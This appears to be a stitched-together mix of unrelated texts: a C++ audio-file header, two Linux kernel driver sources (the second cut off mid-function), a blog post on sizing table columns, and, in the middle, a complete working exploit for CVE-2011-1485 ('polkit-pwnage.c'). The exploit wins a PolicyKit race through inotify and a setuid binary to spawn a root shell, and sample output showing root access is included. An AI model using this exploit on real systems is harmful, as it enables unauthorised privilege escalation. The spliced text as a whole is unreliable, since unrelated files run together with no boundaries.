. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
#include <string>
class AudioFile
{
public:
AudioFile(const std::string &filename);
inline bool isValid() const { return m_isValid; };
inline std::string filename() const { return m_filename; };
inline std::string artist() const { return m_artist; };
inline std::string composer() const { return m_composer; };
inline std::string album() const { return m_album; };
inline std::string albumArtist() const { return m_albumArtist; };
inline std::string title() const { return m_title; };
inline std::string genre() const { return m_genre; };
inline std::string comment() const { return m_comment; };
inline unsigned int track() const { return m_track; };
inline unsigned int disc() const { return m_disc; };
inline unsigned int discTotal() const { return m_discTotal; };
inline unsigned int bpm() const { return m_bpm; };
inline unsigned int year() const { return m_year; };
inline unsigned int length() const { return m_length; };
inline unsigned int bitrate() const { return m_bitrate; };
inline unsigned int sampleRate() const { return m_sampleRate; };
inline unsigned int channels() const { return m_channels; };
inline bool compilation() const { return m_compilation; };
bool operator<(const AudioFile &other) const;
private:
bool m_isValid;
std::string m_filename;
std::string m_artist;
std::string m_composer;
std::string m_album;
std::string m_albumArtist;
std::string m_title;
std::string m_genre;
std::string m_comment;
unsigned int m_track;
unsigned int m_disc;
unsigned int m_discTotal;
unsigned int m_bpm;
unsigned int m_year;
unsigned int m_length;
unsigned int m_bitrate;
unsigned int m_sampleRate;
unsigned int m_channels;
bool m_compilation;
};
/*
*
* Copyright 1999 Digi International (www.digi.com)
* James Puzzo <jamesp at digi dot com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY, EXPRESS OR IMPLIED; without even the
* implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
* PURPOSE. See the GNU General Public License for more details.
*
*/
/*
*
* Filename:
*
* dgrp_dpa_ops.c
*
* Description:
*
* Handle the file operations required for the "dpa" devices.
* Includes those functions required to register the "dpa" devices
* in "/proc".
*
* Author:
*
* James A. Puzzo
*
*/
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/tty.h>
#include <linux/poll.h>
#include <linux/cred.h>
#include <linux/sched.h>
#include <linux/ratelimit.h>
#include <linux/slab.h>
#include <asm/unaligned.h>
#include "dgrp_common.h"
/* File operation declarations */
static int dgrp_dpa_open(struct inode *, struct file *);
static int dgrp_dpa_release(struct inode *, struct file *);
static ssize_t dgrp_dpa_read(struct file *, char __user *, size_t, loff_t *);
static long dgrp_dpa_ioctl(struct file *file, unsigned int cmd,
unsigned long arg);
static unsigned int dgrp_dpa_select(struct file *, struct poll_table_struct *);
const struct file_operations dgrp_dpa_ops = {
.owner = THIS_MODULE,
.read = dgrp_dpa_read,
.poll = dgrp_dpa_select,
.unlocked_ioctl = dgrp_dpa_ioctl,
.open = dgrp_dpa_open,
.release = dgrp_dpa_release,
};
struct digi_node {
uint nd_state; /* Node state: 1 = up, 0 = down. */
uint nd_chan_count; /* Number of channels found */
uint nd_tx_byte; /* Tx data count */
uint nd_rx_byte; /* RX data count */
u8 nd_ps_desc[MAX_DESC_LEN]; /* Description from PS */
};
#define DIGI_GETNODE (('d'<<8) | 249) /* get board info */
struct digi_chan {
uint ch_port; /* Port number to get info on */
uint ch_open; /* 1 if open, 0 if not */
uint ch_txcount; /* TX data count */
uint ch_rxcount; /* RX data count */
uint ch_s_brate; /* Realport BRATE */
uint ch_s_estat; /* Realport ELAST */
uint ch_s_cflag; /* Realport CFLAG */
uint ch_s_iflag; /* Realport IFLAG */
uint ch_s_oflag; /* Realport OFLAG */
uint ch_s_xflag; /* Realport XFLAG */
uint ch_s_mstat; /* Realport MLAST */
};
#define DIGI_GETCHAN (('d'<<8) | 248) /* get channel info */
struct digi_vpd {
int vpd_len;
char vpd_data[VPDSIZE];
};
#define DIGI_GETVPD (('d'<<8) | 246) /* get VPD info */
struct digi_debug {
int onoff;
int port;
};
#define DIGI_SETDEBUG (('d'<<8) | 247) /* set debug info */
/*
* dgrp_dpa_open -- open the DPA device for a particular PortServer
*/
static int dgrp_dpa_open(struct inode *inode, struct file *file)
{
struct nd_struct *nd;
int rtn = 0;
rtn = try_module_get(THIS_MODULE);
if (!rtn)
return -ENXIO;
rtn = 0;
if (!capable(CAP_SYS_ADMIN)) {
rtn = -EPERM;
goto done;
}
/*
* Make sure that the "private_data" field hasn't already been used.
*/
if (file->private_data) {
rtn = -EINVAL;
goto done;
}
/*
* Get the node pointer, and fail if it doesn't exist.
*/
nd = PDE_DATA(inode);
if (!nd) {
rtn = -ENXIO;
goto done;
}
file->private_data = (void *) nd;
/*
* Allocate the DPA buffer.
*/
if (nd->nd_dpa_buf) {
rtn = -EBUSY;
} else {
nd->nd_dpa_buf = kmalloc(DPA_MAX, GFP_KERNEL);
if (!nd->nd_dpa_buf) {
rtn = -ENOMEM;
} else {
nd->nd_dpa_out = 0;
nd->nd_dpa_in = 0;
nd->nd_dpa_lbolt = jiffies;
}
}
done:
if (rtn)
module_put(THIS_MODULE);
return rtn;
}
/*
* dgrp_dpa_release -- close the DPA device for a particular PortServer
*/
static int dgrp_dpa_release(struct inode *inode, struct file *file)
{
struct nd_struct *nd;
u8 *buf;
unsigned long lock_flags;
/*
* Get the node pointer, and quit if it doesn't exist.
*/
nd = (struct nd_struct *)(file->private_data);
if (!nd)
goto done;
/*
* Free the dpa buffer.
*/
spin_lock_irqsave(&nd->nd_dpa_lock, lock_flags);
buf = nd->nd_dpa_buf;
nd->nd_dpa_buf = NULL;
nd->nd_dpa_out = nd->nd_dpa_in;
/*
* Wakeup any thread waiting for buffer space.
*/
if (nd->nd_dpa_flag & DPA_WAIT_SPACE) {
nd->nd_dpa_flag &= ~DPA_WAIT_SPACE;
wake_up_interruptible(&nd->nd_dpa_wqueue);
}
spin_unlock_irqrestore(&nd->nd_dpa_lock, lock_flags);
kfree(buf);
done:
module_put(THIS_MODULE);
file->private_data = NULL;
return 0;
}
/*
* dgrp_dpa_read
*
* Copy data from the monitoring buffer to the user, freeing space
* in the monitoring buffer for more messages
*/
static ssize_t dgrp_dpa_read(struct file *file, char __user *buf, size_t count,
loff_t *ppos)
{
struct nd_struct *nd;
int n;
int r;
int offset = 0;
int res = 0;
ssize_t rtn;
unsigned long lock_flags;
/*
* Get the node pointer, and quit if it doesn't exist.
*/
nd = (struct nd_struct *)(file->private_data);
if (!nd)
return -ENXIO;
/*
* Wait for some data to appear in the buffer.
*/
spin_lock_irqsave(&nd->nd_dpa_lock, lock_flags);
for (;;) {
n = (nd->nd_dpa_in - nd->nd_dpa_out) & DPA_MASK;
if (n != 0)
break;
nd->nd_dpa_flag |= DPA_WAIT_DATA;
spin_unlock_irqrestore(&nd->nd_dpa_lock, lock_flags);
/*
* Go to sleep waiting until the condition becomes true.
*/
rtn = wait_event_interruptible(nd->nd_dpa_wqueue,
((nd->nd_dpa_flag & DPA_WAIT_DATA) == 0));
if (rtn)
return rtn;
spin_lock_irqsave(&nd->nd_dpa_lock, lock_flags);
}
/*
* Read whatever is there.
*/
if (n > count)
n = count;
res = n;
r = DPA_MAX - nd->nd_dpa_out;
if (r <= n) {
spin_unlock_irqrestore(&nd->nd_dpa_lock, lock_flags);
rtn = copy_to_user((void __user *)buf,
nd->nd_dpa_buf + nd->nd_dpa_out, r);
spin_lock_irqsave(&nd->nd_dpa_lock, lock_flags);
if (rtn) {
rtn = -EFAULT;
goto done;
}
nd->nd_dpa_out = 0;
n -= r;
offset = r;
}
spin_unlock_irqrestore(&nd->nd_dpa_lock, lock_flags);
rtn = copy_to_user((void __user *)buf + offset,
nd->nd_dpa_buf + nd->nd_dpa_out, n);
spin_lock_irqsave(&nd->nd_dpa_lock, lock_flags);
if (rtn) {
rtn = -EFAULT;
goto done;
}
nd->nd_dpa_out += n;
*ppos += res;
rtn = res;
/*
* Wakeup any thread waiting for buffer space.
*/
n = (nd->nd_dpa_in - nd->nd_dpa_out) & DPA_MASK;
if (nd->nd_dpa_flag & DPA_WAIT_SPACE &&
(DPA_MAX - n) > DPA_HIGH_WATER) {
nd->nd_dpa_flag &= ~DPA_WAIT_SPACE;
wake_up_interruptible(&nd->nd_dpa_wqueue);
}
done:
spin_unlock_irqrestore(&nd->nd_dpa_lock, lock_flags);
return rtn;
}
static unsigned int dgrp_dpa_select(struct file *file,
struct poll_table_struct *table)
{
unsigned int retval = 0;
struct nd_struct *nd = file->private_data;
if (nd->nd_dpa_out != nd->nd_dpa_in)
retval |= POLLIN | POLLRDNORM; /* Conditionally readable */
retval |= POLLOUT | POLLWRNORM; /* Always writeable */
return retval;
}
static long dgrp_dpa_ioctl(struct file *file, unsigned int cmd,
unsigned long arg)
{
struct nd_struct *nd;
struct digi_chan getchan;
struct digi_node getnode;
struct ch_struct *ch;
struct digi_debug setdebug;
struct digi_vpd vpd;
unsigned int port;
void __user *uarg = (void __user *) arg;
nd = file->private_data;
switch (cmd) {
case DIGI_GETCHAN:
if (copy_from_user(&getchan, uarg, sizeof(struct digi_chan)))
return -EFAULT;
port = getchan.ch_port;
if (port > nd->nd_chan_count)
return -EINVAL;
ch = nd->nd_chan + port;
getchan.ch_open = (ch->ch_open_count > 0) ? 1 : 0;
getchan.ch_txcount = ch->ch_txcount;
getchan.ch_rxcount = ch->ch_rxcount;
getchan.ch_s_brate = ch->ch_s_brate;
getchan.ch_s_estat = ch->ch_s_elast;
getchan.ch_s_cflag = ch->ch_s_cflag;
getchan.ch_s_iflag = ch->ch_s_iflag;
getchan.ch_s_oflag = ch->ch_s_oflag;
getchan.ch_s_xflag = ch->ch_s_xflag;
getchan.ch_s_mstat = ch->ch_s_mlast;
if (copy_to_user(uarg, &getchan, sizeof(struct digi_chan)))
return -EFAULT;
break;
case DIGI_GETNODE:
getnode.nd_state = (nd->nd_state & NS_READY) ? 1 : 0;
getnode.nd_chan_count = nd->nd_chan_count;
getnode.nd_tx_byte = nd->nd_tx_byte;
getnode.nd_rx_byte = nd->nd_rx_byte;
memset(&getnode.nd_ps_desc, 0, MAX_DESC_LEN);
strncpy(getnode.nd_ps_desc, nd->nd_ps_desc, MAX_DESC_LEN);
if (copy_to_user(uarg, &getnode, sizeof(struct digi_node)))
return -EFAULT;
break;
case DIGI_SETDEBUG:
if (copy_from_user(&setdebug, uarg, sizeof(struct digi_debug)))
return -EFAULT;
nd->nd_dpa_debug = setdebug.onoff;
nd->nd_dpa_port = setdebug.port;
break;
case DIGI_GETVPD:
memset(&vpd, 0, sizeof(vpd));
if (nd->nd_vpd_len > 0) {
vpd.vpd_len = nd->nd_vpd_len;
memcpy(&vpd.vpd_data, &nd->nd_vpd, nd->nd_vpd_len);
} else {
vpd.vpd_len = 0;
}
if (copy_to_user(uarg, &vpd, sizeof(struct digi_vpd)))
return -EFAULT;
break;
}
return 0;
}
/**
* dgrp_dpa() -- send data to the device monitor queue
* @nd: pointer to a node structure
* @buf: buffer of data to copy to the monitoring buffer
* @len: number of bytes to transfer to the buffer
*
* Called by the net device routines to send data to the device
* monitor queue. If the device monitor buffer is too full to
* accept the data, it waits until the buffer is ready.
*/
static void dgrp_dpa(struct nd_struct *nd, u8 *buf, int nbuf)
{
int n;
int r;
unsigned long lock_flags;
/*
* Grab DPA lock.
*/
spin_lock_irqsave(&nd->nd_dpa_lock, lock_flags);
/*
* Loop while data remains.
*/
while (nbuf > 0 && nd->nd_dpa_buf != NULL) {
n = (nd->nd_dpa_out - nd->nd_dpa_in - 1) & DPA_MASK;
/*
* Enforce flow control on the DPA device.
*/
if (n < (DPA_MAX - DPA_HIGH_WATER))
nd->nd_dpa_flag |= DPA_WAIT_SPACE;
/*
* This should never happen, as the flow control above
* should have stopped things before they got to this point.
*/
if (n == 0) {
spin_unlock_irqrestore(&nd->nd_dpa_lock, lock_flags);
return;
}
/*
* Copy as much data as will fit.
*/
if (n > nbuf)
n = nbuf;
r = DPA_MAX - nd->nd_dpa_in;
if (r <= n) {
memcpy(nd->nd_dpa_buf + nd->nd_dpa_in, buf, r);
n -= r;
nd->nd_dpa_in = 0;
buf += r;
nbuf -= r;
}
memcpy(nd->nd_dpa_buf + nd->nd_dpa_in, buf, n);
nd->nd_dpa_in += n;
buf += n;
nbuf -= n;
if (nd->nd_dpa_in >= DPA_MAX)
pr_info_ratelimited("%s - nd->nd_dpa_in (%i) >= DPA_MAX\n",
__func__, nd->nd_dpa_in);
/*
* Wakeup any thread waiting for data
*/
if (nd->nd_dpa_flag & DPA_WAIT_DATA) {
nd->nd_dpa_flag &= ~DPA_WAIT_DATA;
wake_up_interruptible(&nd->nd_dpa_wqueue);
}
}
/*
* Release the DPA lock.
*/
spin_unlock_irqrestore(&nd->nd_dpa_lock, lock_flags);
}
/**
* dgrp_monitor_data() -- builds a DPA data packet
* @nd: pointer to a node structure
* @type: type of message to be logged in the DPA buffer
* @buf: buffer of data to be logged in the DPA buffer
* @size -- number of bytes in the "buf" buffer
*/
void dgrp_dpa_data(struct nd_struct *nd, int type, u8 *buf, int size)
{
u8 header[5];
header[0] = type;
put_unaligned_be32(size, header + 1);
dgrp_dpa(nd, header, sizeof(header));
dgrp_dpa(nd, buf, size);
}
/* polkit-pwnage.c
*
*
* ==============================
* = PolicyKit Pwnage =
* = by zx2c4 =
* = Sept 2, 2011 =
* ==============================
*
*
* Howdy folks,
*
* This exploits CVE-2011-1485, a race condition in PolicyKit.
*
* davidz25 explains:
*
* --begin--
* Briefly, the problem is that the UID for the parent process of pkexec(1) is
* read from /proc by stat(2)'ing /proc/PID. The problem with this is that
* this returns the effective uid of the process which can easily be set to 0
* by invoking a setuid-root binary such as /usr/bin/chsh in the parent
* process of pkexec(1). Instead we are really interested in the real-user-id.
* While there's a check in pkexec.c to avoid this problem (by comparing it to
* what we expect the uid to be - namely that of the pkexec.c process itself which
* is the uid of the parent process at pkexec-spawn-time), there is still a short
* window where an attacker can fool pkexec/polkitd into thinking that the parent
* process has uid 0 and is therefore authorized. It's pretty hard to hit this
* window - I actually don't know if it can be made to work in practice.
* --end--
*
* Well, here is, in fact, how it's made to work in practice. There is as he said an
* attempted mitigation, and the way to trigger that mitigation path is something
* like this:
*
* $ sudo -u `whoami` pkexec sh
* User of caller (0) does not match our uid (1000)
*
* Not what we want. So the trick is to execl to a suid at just the precise moment
* /proc/PID is being stat(2)'d. We use inotify to learn exactly when it's accessed,
* and execl to the suid binary as our very next instruction.
*
* ** Usage **
* $ pkexec --version
* pkexec version 0.101
* $ gcc polkit-pwnage.c -o pwnit
* $ ./pwnit
* [+] Configuring inotify for proper pid.
* [+] Launching pkexec.
* sh-4.2# whoami
* root
* sh-4.2# id
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* sh-4.2#
*
* ** Targets **
* This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which
* as of writing uses 0.101, has backported 0.102's bug fix. A way to check
* this is by looking at the mtime of /usr/bin/pkexec -- April 19, 2011 or
* later and you're out of luck. It's likely other distributions do the same.
* Fortunately, this exploit is clean enough that you can try it out without
* too much collateral.
*
*
* greets to djrbliss and davidz25.
*
* - zx2c4
* 2-sept-2011
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/inotify.h>
int main(int argc, char **argv)
{
printf("=============================\n");
printf("= PolicyKit Pwnage =\n");
printf("= by zx2c4 =\n");
printf("= Sept 2, 2011 =\n");
printf("=============================\n\n");
if (fork()) {
int fd;
char pid_path[1024];
sprintf(pid_path, "/proc/%i", getpid());
printf("[+] Configuring inotify for proper pid.\n");
close(0); close(1); close(2);
fd = inotify_init();
if (fd < 0)
perror("[-] inotify_init");
inotify_add_watch(fd, pid_path, IN_ACCESS);
read(fd, NULL, 0);
execl("/usr/bin/chsh", "chsh", NULL);
} else {
sleep(1);
printf("[+] Launching pkexec.\n");
execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
}
return 0;
}
# Auto-Sizing Columns
Here's a curious problem I've come across: There are N columns in a table of width W, with each column having content that requires a maximum width of M<sub>1</sub>, M<sub>2</sub>, M<sub>3</sub>, ... , M<sub>N</sub>, where M<sub>1</sub> + M<sub>2</sub> + M<sub>3</sub> + ... + M<sub>N</sub> > W. Find an optimal size, O<sub>1</sub>, O<sub>2</sub>, O<sub>3</sub>, ... , O<sub>N</sub>, for all columns in the table, where O<sub>1</sub> + O<sub>2</sub> + O<sub>3</sub> + ... + O<sub>N</sub> = W, and where for all i between 1 and N, O<sub>i</sub> / W ≤ R, where R is an arbitrary ratio less than 1 and greater than 0. That is to say, optimally sized means each O<sub>i</sub> / W = min(R, M<sub>i</sub> / (M<sub>1</sub> + M<sub>2</sub> + M<sub>3</sub> + ... + M<sub>N</sub>)), but when the min function chooses its first argument, the extra space, ([second argument] - [first argument]) * W, needs to be proportionally distributed to the remaining O<sub>j</sub>, where j is between 1 and N and does not equal i, and where "proportionally" means related to the proportions of M<sub>j</sub> / (M<sub>1</sub> + M<sub>2</sub> + M<sub>3</sub> + ... + M<sub>N</sub>). However, proportionally distributing this excess to the remaining columns may push a remaining column's ratio over R, which means some of that excess might further have to be redistributed.
The iterative approach to this problem is easy, but I am interested in determining a non-iterative solution to finding all of the O<sub>i</sub>, where I simply have a formula O<sub>i</sub> = [yada yada yada].
Here's code for the iterative solution when applied to columns of a <a href="http://doc.trolltech.com/4.4/qtreeview.html">QTreeView</a>, with N = 3 and R = .42, which is derived from my <a href="https://git.zx2c4.com/zmusicplayer/tree/AutoSizingList.cpp#n47">AutoSizingList class</a> of <a href="http://blog.zx2c4.com/14">ZMusicPlayer</a>. It uses QTreeView's <a href="http://doc.trolltech.com/4.4/qtreeview.html#sizeHintForColumn">sizeHintForColumn</a> to determine M<sub>i</sub>.
So essentially, the problem is that the do-while should be eliminated. It is required in the first place because when proportionally redistributing the difference between the arguments of the min function (outlined in the first paragraph), the ratios of the columns receiving this extra width may exceed R, which means another iteration must be done to readjust. Anyone have a non-iterative solution? Also, to the Qt experts out there, why is the hack required near the end?
I am interested both in a practical Qt approach and a mathematical approach, the latter being more interesting. Doesn't this seem like functionality that aught to already be a part of Qt?
### Update:
A conversation with a friend over AIM has produced a plain-English explanation in the form of a dialogue of the above problem.
Jason: so you're drawing a table
Jason: on a piece of paper
Jason: making all the lines and rows
Jason: so this table happens to have 3 columns
Jason: and a bunch of rows
Jason: make sense?
Pasternak: yes
Jason: ok
Jason: now each cell of the table is supposed to have some information in it
Jason: different length information takes up more width in the table
Jason: Rob Pasternak takes up more room than Yi Chan, for example
Jason: it's wider
Jason: it has more characters
Jason: right?
Pasternak: yes
Jason: now say that the biggest piece of data in the first column requires a width M1, the biggest in the second column requires a width M2, and in the third, M3
Jason: Rob Pasternak, Yi Chan, and Salvadora Manello Envelopa Dali
Jason: are the biggest pieces of data for each of the three columns respectively
Pasternak: ok
Jason: now let's say you're writing down your table on a napkin
Jason: so you can only make it a certain width
Jason: because the napkin is small
Jason: and you're bad at writing with tiny handwriting
Pasternak: ok
Jason: so you think to yourself "well, i will just make each column have its width be in the same proportion to the tiny width of the entire table as if i had tons of room to draw the table and was able to make each column have the width equal to the column's biggest name"
Jason: make sense?
Pasternak: ok
Pasternak: yes
Jason: so a simple equation for finding how big each column would be would just to do this
Jason: column1 = ( M1 / (M1 + M2 + M3) ) * tinyNapkinWidth
Jason: right?
Jason: and similarly for columns 2 and 3
Pasternak: yeah
Jason: ok so lets say you do that and then you notice that
Jason: Salvadora Manello Envelopa Dali is taking up way too much space on the table
Jason: so much so that the other two columns are too tiny to show any relevant information
Pasternak: but i thought you said
Pasternak: because each of those were the maximum
Pasternak: oh wait
Pasternak: i gotcha
Pasternak: cause the napkin is too small to make Chan visible at the right proportions
Jason: yeah
Jason: even though it's all perfectly proportioned,
Pasternak: yeah
Jason: Salvadora Manello Envelopa Dali is just so big that
Jason: he makes Chan tiny
Jason: so you think to yourself
Jason: "how about i impose a maximum ratio each column may take up. I hereby declare that no column may use more than 40% of the entire width!"
Jason: so, you apply the first process of column1 = ( M1 / (M1 + M2 + M3) ) * tinyNapkinWidth etc
Jason: but then you say something like
Jason: "if column1 is greater than 40% of tinyNapkinWidth, make column1 equal to 40% of tinyNapkinWidth"
Jason: with me?
Pasternak: yes
Jason: so then what are you going to do with that excess width you cut off of column1?
Jason: it has to go somewhere
Jason: since we want to use all of the napkin width
Jason: so you distribute it to the other two columns proportionally
Jason: not half to one and half to the other, but in a proportion equal to the amount of data they contain
Jason: seem reasonable?
Pasternak: yeah but then one of them could go over 40
Jason: exactly!
Jason: that's the problem
Jason: so then you do the process all over again
Jason: asking "does any column exceed 40%?"
Jason: over and over until it's perfect
Jason: this is the iterative method
Jason: i want to figure out an expression of column1,2,3 that is as simple as our original one of "column1 = ( M1 / (M1 + M2 + M3) ) * tinyNapkinWidth" but that takes into consideration our 40% restriction
Jason: and doesn't rely on iteration
Pasternak: for any number of columns i assume
Jason: yeah
Jason: right
// SPDX-License-Identifier: GPL-2.0-only
#include <linux/module.h>
#include <linux/virtio.h>
#include <linux/virtio_config.h>
#include <linux/input.h>
#include <linux/slab.h>
#include <uapi/linux/virtio_ids.h>
#include <uapi/linux/virtio_input.h>
#include <linux/input/mt.h>
struct virtio_input {
struct virtio_device *vdev;
struct input_dev *idev;
char name[64];
char serial[64];
char phys[64];
struct virtqueue *evt, *sts;
struct virtio_input_event evts[64];
spinlock_t lock;
bool ready;
};
static void virtinput_queue_evtbuf(struct virtio_input *vi,
struct virtio_input_event *evtbuf)
{
struct scatterlist sg[1];
sg_init_one(sg, evtbuf, sizeof(*evtbuf));
virtqueue_add_inbuf(vi->evt, sg, 1, evtbuf, GFP_ATOMIC);
}
static void virtinput_recv_events(struct virtqueue *vq)
{
struct virtio_input *vi = vq->vdev->priv;
struct virtio_input_event *event;
unsigned long flags;
unsigned int len;
spin_lock_irqsave(&vi->lock, flags);
if (vi->ready) {
while ((event = virtqueue_get_buf(vi->evt, &len)) != NULL) {
spin_unlock_irqrestore(&vi->lock, flags);
input_event(vi->idev,
le16_to_cpu(event->type),
le16_to_cpu(event->code),
le32_to_cpu(event->value));
spin_lock_irqsave(&vi->lock, flags);
virtinput_queue_evtbuf(vi, event);
}
virtqueue_kick(vq);
}
spin_unlock_irqrestore(&vi->lock, flags);
}
/*
* On error we are losing the status update, which isn't critical as
* this is typically used for stuff like keyboard leds.
*/
static int virtinput_send_status(struct virtio_input *vi,
u16 type, u16 code, s32 value)
{
struct virtio_input_event *stsbuf;
struct scatterlist sg[1];
unsigned long flags;
int rc;
/*
* Since 29cc309d8bf1 (HID: hid-multitouch: forward MSC_TIMESTAMP),
* EV_MSC/MSC_TIMESTAMP is added to each before EV_SYN event.
* EV_MSC is configured as INPUT_PASS_TO_ALL.
* In case of touch device:
* BE pass EV_MSC/MSC_TIMESTAMP to FE on receiving event from evdev.
* FE pass EV_MSC/MSC_TIMESTAMP back to BE.
* BE writes EV_MSC/MSC_TIMESTAMP to evdev due to INPUT_PASS_TO_ALL.
* BE receives extra EV_MSC/MSC_TIMESTAMP and pass to FE.
* >>> Each new frame becomes larger and larger.
* Disable EV_MSC/MSC_TIMESTAMP forwarding for MT.
*/
if (vi->idev->mt && type == EV_MSC && code == MSC_TIMESTAMP)
return 0;
stsbuf = kzalloc(sizeof(*stsbuf), GFP_ATOMIC);
if (!stsbuf)
return -ENOMEM;
stsbuf->type = cpu_to_le16(type);
stsbuf->code = cpu_to_le16(code);
stsbuf->value = cpu_to_le32(value);
sg_init_one(sg, stsbuf, sizeof(*stsbuf));
spin_lock_irqsave(&vi->lock, flags);
if (vi->ready) {
rc = virtqueue_add_outbuf(vi->sts, sg, 1, stsbuf, GFP_ATOMIC);
virtqueue_kick(vi->sts);
} else {
rc = -ENODEV;
}
spin_unlock_irqrestore(&vi->lock, flags);
if (rc != 0)
kfree(stsbuf);
return rc;
}
static void virtinput_recv_status(struct virtqueue *vq)
{
struct virtio_input *vi = vq->vdev->priv;
struct virtio_input_event *stsbuf;
unsigned long flags;
unsigned int len;
spin_lock_irqsave(&vi->lock, flags);
while ((stsbuf = virtqueue_get_buf(vi->sts, &len)) != NULL)
kfree(stsbuf);
spin_unlock_irqrestore(&vi->lock, flags);
}
static int virtinput_status(struct input_dev *idev, unsigned int type,
unsigned int code, int value)
{
struct virtio_input *vi = input_get_drvdata(idev);
return virtinput_send_status(vi, type, code, value);
}
static u8 virtinput_cfg_select(struct virtio_input *vi,
u8 select, u8 subsel)
{
u8 size;
virtio_cwrite_le(vi->vdev, struct virtio_input_config, select, &select);
virtio_cwrite_le(vi->vdev, struct virtio_input_config, subsel, &subsel);
virtio_cread_le(vi->vdev, struct virtio_input_config, size, &size);
return size;
}
static void virtinput_cfg_bits(struct virtio_input *vi, int select, int subsel,
unsigned long *bits, unsigned int bitcount)
{
unsigned int bit;
u8 *virtio_bits;
u8 bytes;
bytes = virtinput_cfg_select(vi, select, subsel);
if (!bytes)
return;
if (bitcount > bytes * 8)
bitcount = bytes * 8;
/*
* Bitmap in virtio config space is a simple stream of bytes,
* with the first byte carrying bits 0-7, second bits 8-15 and
* so on.
*/
virtio_bits = kzalloc(bytes, GFP_KERNEL);
if (!virtio_bits)
return;
virtio_cread_bytes(vi->vdev, offsetof(struct virtio_input_config,
u.bitmap),
virtio_bits, bytes);
for (bit = 0; bit < bitcount; bit++) {
if (virtio_bits[bit / 8] & (1 << (bit % 8)))
__set_bit(bit, bits);
}
kfree(virtio_bits);
if (select == VIRTIO_INPUT_CFG_EV_BITS)
__set_bit(subsel, vi->idev->evbit);
}
static void virtinput_cfg_abs(struct virtio_input *vi, int abs)
{
u32 mi, ma, re, fu, fl;
virtinput_cfg_select(vi, VIRTIO_INPUT_CFG_ABS_INFO, abs);
virtio_cread_le(vi->vdev, struct virtio_input_config, u.abs.min, &mi);
virtio_cread_le(vi->vdev, struct virtio_input_config, u.abs.max, &ma);
virtio_cread_le(vi->vdev, struct virtio_input_config, u.abs.res, &re);
virtio_cread_le(vi->vdev, struct virtio_input_config, u.abs.fuzz, &fu);
virtio_cread_le(vi->vdev, struct virtio_input_config, u.abs.flat, &fl);
input_set_abs_params(vi->idev, abs, mi, ma, fu, fl);
input_abs_set_res(vi->idev, abs, re);
}
static int virtinput_init_vqs(struct virtio_input *vi)
{
struct virtqueue_info vqs_info[] = {
{ "events", virtinput_recv_events },
{ "status", virtinput_recv_status },
};
struct virtqueue *vqs[2];
int err;
err = virtio_find_vqs(vi->vdev, 2, vqs, vqs_info, NULL);
if (err)
return err;
vi->evt = vqs[0];
vi->sts = vqs[1];
return 0;
}
static void virtinput_fill_evt(struct virtio_input *vi)
{
unsigned long flags;
int i, size;
spin_lock_irqsave(&vi->lock, flags);
size = virtqueue_get_vring_size(vi->evt);
if (size > ARRAY_SIZE(vi->evts))
size = ARRAY_SIZE(vi->evts);
for (i = 0; i < size; i++)
virtinput_queue_evtbuf(vi, &vi->evts[i]);
virtqueue_kick(vi->evt);
spin_unlock_irqrestore(&vi->lock, flags);
}
static int virtinput_probe(struct virtio_device *vdev)
{
struct virtio_input *vi;
unsigned long flags;
size_t size;
int abs, err, nslots;
if (!virtio_has_feature(vdev, VIRTIO_F_VERSION_1))
return -ENODEV;
vi = kzalloc(sizeof(*vi), GFP_KERNEL);
if (!vi)
return -ENOMEM;
vdev->priv = vi;
vi->vdev = vdev;
spin_lock_init(&vi->lock);
err = virtinput_init_vqs(vi);
if (err)
goto err_init_vq;
vi->idev = input_allocate_device();
if (!vi->idev) {
err = -ENOMEM;
goto err_input_alloc;
}
input_set_drvdata(vi->idev, vi);
size = virtinput_cfg_select(vi, VIRTIO_INPUT_CFG_ID_NAME, 0);
virtio_cread_bytes(vi->vdev, offsetof(struct virtio_input_config,
u.string),
vi->name, min(size, sizeof(vi->name)));
size = virtinput_cfg_select(vi, VIRTIO_INPUT_CFG_ID_SERIAL, 0);
virtio_cread_bytes(vi->vdev, offsetof(struct virtio_input_config,
u.string),
vi->serial, min(size, sizeof(vi->serial)));
snprintf(vi->phys, sizeof(vi->phys),
"virtio%d/input0", vdev->index);
vi->idev->name = vi->name;
vi->idev->phys = vi->phys;
vi->idev->uniq = vi->serial;
size = virtinput_cfg_select(vi, VIRTIO_INPUT_CFG_ID_DEVIDS, 0);
if (size >= sizeof(struct virtio_input_devids)) {
virtio_cread_le(vi->vdev, struct virtio_input_config,
u.ids.bustype, &vi->idev->id.bustype);
virtio_cread_le(vi->vdev, struct virtio_input_config,
u.ids.vendor, &vi->idev->id.vendor);
virtio_cread_le(vi->vdev, struct virtio_input_config,
u.ids.product, &vi->idev->id.product);
virtio_cread_le(vi->vdev, struct virtio_input_config,
u.ids.version, &vi->idev->id.version);
} else {
vi->idev->id.bustype = BUS_VIRTUAL;
}
virtinput_cfg_bits(vi, VIRTIO_INPUT_CFG_PROP_BITS, 0,
vi->idev->propbit, INPUT_PROP_CNT);
size = virtinput_cfg_select(vi, VIRTIO_INPUT_CFG_EV_BITS, EV_REP);
if (size)
__set_bit(EV_REP, vi->idev->evbit);
vi->idev->dev.parent = &vdev->dev;
vi->idev->event = virtinput_status;
/* device -> kernel */
virtinput_cfg_bits(vi, VIRTIO_INPUT_CFG_EV_BITS, EV_KEY,
vi->idev->keybit, KEY_CNT);
virtinput_cfg_bits(vi, VIRTIO_INPUT_CFG_EV_BITS, EV_REL,
vi->idev->relbit, REL_CNT);
virtinput_cfg_bits(vi, VIRTIO_INPUT_CFG_EV_BITS, EV_ABS,
vi->idev->absbit, ABS_CNT);
virtinput_cfg_bits(vi, VIRTIO_INPUT_CFG_EV_BITS, EV_MSC,
vi->idev->mscbit, MSC_CNT);
